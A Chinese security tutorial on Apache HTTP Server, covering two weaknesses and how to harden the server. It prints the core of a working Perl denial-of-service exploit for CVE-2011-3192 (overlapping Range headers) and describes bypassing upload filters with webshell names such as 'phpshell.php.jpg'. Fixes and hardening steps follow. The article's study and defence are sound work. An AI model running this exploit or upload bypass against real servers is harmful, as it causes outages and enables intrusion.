Apache 作為Web應用的載體,一旦出現安全問題,那么運行在其上的Web應用的安全也無法得到保障,所以,研究Apache的漏洞與安全性非常有意義。本文將結合實例來談談針對Apache的漏洞利用和安全加固措施。
Apache HTTP Server(以下簡稱Apache)是Apache軟件基金會的一個開放源碼的網頁服務器,可以在大多數計算機操作系統中運行,是最流行的Web服務器軟件之一。雖然近年來Nginx和Lighttpd等Web Server的市場份額增長得很快,但Apache仍然是這個領域中獨一無二的巨頭,互聯網上大多數的Web應用依然運行在Apache上。
Apache漏洞分析
Apache HTTP Server畸形Range選項處理遠程拒絕服務漏洞
CVE漏洞編號:CVE-2011-3192
影響版本:Apache 2.x、Apache 1.3
漏洞描述:Apache HTTP Server在處理Range選項生成回應時存在漏洞,遠程攻擊者可能利用此漏洞通過發送惡意請求導致服務器失去響應,導致拒絕服務。
此漏洞源於Apache HTTP Server在處理Range頭選項中包含的大量重疊范圍指定命令時存在的問題,攻擊者可通過發送到服務器的特制HTTTP請求耗盡系統資源,導致Apache失去響應,甚至造成操作系統資源耗盡。
漏洞利用原理:HTTP請求中的Range選項定義了資源文件的分片請求方式,一般常用於網絡的斷點續傳功能。攻擊者通過在HTTP請求的Range選項中設置大量重疊的范圍指定命令,Apache在處理這樣的請求時需要消耗大量的CPU和內存資源,導致Apache失去響應,甚至造成操作系統資源耗盡。這樣,攻擊者可以利用較小的代價實現對目標服務器的拒絕服務攻擊,該漏洞利用簡單,且影響范圍巨大。
漏洞分析:我們先來看下攻擊者構造的惡意數據包,如下圖1:
圖1
從上圖我們可以看到攻擊者在HTTP請求的Range處設置了大量重疊的范圍,下面我們來看漏洞利用代碼的核心部分:
/*建立進程*/
$pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
/*默認設置分片數值為1300*/
$p = "";
for ($k=0;$k<1300;$k++) {
$p .= ",5-$k";
}
/*按用戶輸入的攻擊次數循環執行攻擊*/
for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;
/*構造攻擊數據包*/
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;
while(<$sock>) {
}
$pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}
OK,在了解了該漏洞的利用原理后,我們通過一個實例來檢驗下攻擊效果。先來看目標服務器未受到攻擊前的資源占用情況,如下圖2:
圖2
現在我們來對目標服務器發起攻擊,如圖3。從圖4中可以看到CPU和內存占用率飆升。
圖3
圖4
漏洞修復:將Apache版本升級到2.2.20或以上版本。
Apache文件名解析特性
Apache對於文件名的解析是從后往前解析的,直到遇見一個它認識的文件類型為止。因此,如果web目錄下存在以類似webshell.php.test這樣格式命名的文件,Apache在解析時因為不認識.test這個文件類型,所以會一直往前解析,當解析到.php時,它認識了,因此會將它解析為PHP文件。
Apache的這種解析特性經常被用來繞過Web應用的文件上傳檢測。當Web應用的文件上傳功能在檢測上傳文件的合法性時,如果僅通過檢測上傳文件的擴展名來判斷文件是否合法,就可以利用Apache的這種文件名解析特征繞過Web應用的檢測。
下面來看一個實例:目標網站后台存在一個上傳圖片的功能,只允許上傳JPG和GIF圖片格式的文件。但程序在驗證上傳文件合法性處存在漏洞,只是簡單地通過上傳文件擴展名來確定文件是否合法,這時我們就可以利用Apache的文件名解析特征來繞過這種檢測。
將文件名修改為類似phpshell.php.jpg這樣的格式上傳,發現繞過了檢測,文件被成功上傳到目標網站,如圖5。
圖5
可以在httpd.conf配置文件中添加以下內容來阻止Apache解析這種文件。
<Files ~ "\.(php.)">
Order Allow,Deny
Deny from all
</Files>
修改后需要重啟Apache服務生效。
這樣即使攻擊者上傳了類似phpshell.php.jpg這樣格式的文件,Apache也不會將它解析為PHP文件了,如圖6。
圖6
安全加固
Apache的安全加固我們主要從以下兩點考慮:一是Apache Web Server本身是否安全,比如是否存在安全漏洞;二是Apache Web Server是否提供了可使用的安全功能,這部分主要是檢查Apache的配置是否得當,在安全性、可用性、穩定性之間取得平衡。
Apache版本的選擇與安裝注意事項
檢查目前使用的Apache版本是否存在安全漏洞,如果存在,需要升級到新的安全版本。在選擇Apache的版本時,我們一般選擇最新的穩定版本。這樣可以在安全性和穩定性之間取得一個很好的平衡。從低版本升級到高版本時,建議先在測試環境中測試通過后再進行升級,以避免由於兼容性帶來的問題。
在安裝時使用自定義的安裝路徑,並配置使用自定義的WEB目錄。
Apache安全配置
1. Apache降權
這個工作只針對運行在Windows平台上的Apache,因為在Windows環境下,Apache默認以System權限運行,這樣的后果是一旦成功入侵WEB應用,將直接得到一個高權限的Webshell,如圖7。
圖7
現在我們來對Apache進行降權操作。首先新建一個用戶,設置復雜的密碼,並且讓它不屬於任何用戶組,如圖8。
圖8
接着打開“本地安全策略”--->“本地策略”--->“用戶權限分配”,找到“作為服務登錄”項,把剛剛新建的用戶添加進去,如圖9。
圖9
然后打開“服務”組件,找到Apache 的服務,右鍵“屬性”--->“登錄”,用剛新建的apache 賬戶運行Apache 服務,如圖10。
圖10
再找到Apache 日志目錄,為apache 賬戶分配“讀取”和“寫入”權限,否則Apache 服務不能啟動,如圖11。
圖11
配置好后,重啟Apache 服務生效,現在Apache 服務就已apache 低權限賬戶運行了,如圖12。
圖12
Linux環境下不必關心這個問題,Apache主進程以root 權限啟動,子進程默認是以apache、daemon或其他用戶身份運行的,這是一個低權限用戶。
2. 只加載必要的Module(模塊)
Apache有很多官方與非官方的Module,很多漏洞都是由於Apache的Module造成的。所以我們需要檢查Apache的Module安裝情況,根據“最小權限原則”,應該盡可能地減少不必要的Module,對於要使用的Module,則檢查其對應版本是否存在已知的安全漏洞。可以在httpd.conf中配置需要加載或禁用的Module。
3. Apache日志安全設置
不論在那種服務器上,日志都是一個非常重要的部分,我們需要對它嚴加保護。在Apache上也是如此。首先要修改日志的默認保存路徑,然后設置只允許管理員有日志保存目錄的完全控制權限,如圖13。
圖13
4. 網站目錄權限配置
原則:目錄有寫入權限,一定不要分配執行權限;目錄有執行權限,一定不要分配寫入權限。
網站上傳目錄和數據庫目錄一般需要分配“寫入”權限,但一定不要分配執行權限。其他目錄一般只分配“讀取”和“記錄訪問”權限即可。
5. 關閉Apache的目錄瀏覽功能
如果Apache采用默認配置,當WEB目錄下不存在默認索引頁面(如index.html)時,會將當前目錄下的所有文件和目錄都列出來,這是十分危險的,如圖14。
圖14
可以通過以下兩種方法來關閉目錄瀏覽功能:
a.打開httpd.conf配置文件,查找“Options Indexes FollowSymLinks”,修改為“Options -Indexes”,然后保存並重啟Apache服務生效
b.修改.htaccess文件——在.htaccess文件里加入“Options -Indexes”(沒有雙引號)就可以阻止目錄列表的顯示了。
這樣以后再訪問不存在默認索引頁面的目錄時,Apache將會返回403錯誤頁面,如圖15。
圖15
6. 修改Apache默認banner信息
Apache的banner會泄露服務器的操作系統和Apache版本等相關信息,如圖16和圖17,而這些信息對攻擊者是非常有用的,我們需要修改默認配置來阻止這些信息的泄露。
圖16
圖17
打開httpd.conf配置文件,找到ServerTokens和ServerSignature,將它們的值分別修改為Prod和Off,修改后的效果如下圖18和圖19。
圖18
圖19
總結
通過上面對Apache漏洞和安全加固的實例分析,相信讀者對Apache HTTP Server的漏洞和安全加固都有了更加深入的認識。其實Apache的安全加固並不難,很多時候更重要的是管理員的安全意識,只要有足夠的安全意識,加上上面介紹的安全加固方法,相信你一定可以打造一個安全的Apache HTTP Server。